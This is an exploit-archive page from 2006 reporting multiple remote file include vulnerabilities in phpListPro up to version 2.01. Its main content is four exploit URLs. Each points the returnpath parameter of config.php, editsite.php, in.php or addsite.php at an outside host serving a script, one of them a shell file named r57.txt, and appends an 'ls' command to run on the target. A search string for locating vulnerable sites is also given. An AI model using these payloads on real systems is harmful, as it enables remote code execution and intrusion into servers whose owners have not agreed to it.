[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpListPro <= 2.01 Multiple Remote File Include Vulnerabilities
# Published : 2006-05-08
# Author : Aesthetico
# Previous Title : Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit
# Next Title : ActualAnalyzer Pro <= 6.88 (rf) Remote File Include Exploit
Title: phpListPro <= 2.01 - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: SmartISoft
URL: http://smartisoft.com
-----------------------------------------------------------------
Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "PHPListPro ?2001-2006 SmartISoft"
-----------------------------------------------------------------
Exploitation:
/config.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/editsite.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/in.php?returnpath=http://www.yourspace.com/yourscript.txt?&ls%20-laF
/addsite.php?returnpath=http://mitglied.lycos.de/n0ssy/r57.txt?&cmd=ls
# www.Syue.com [2006-05-08]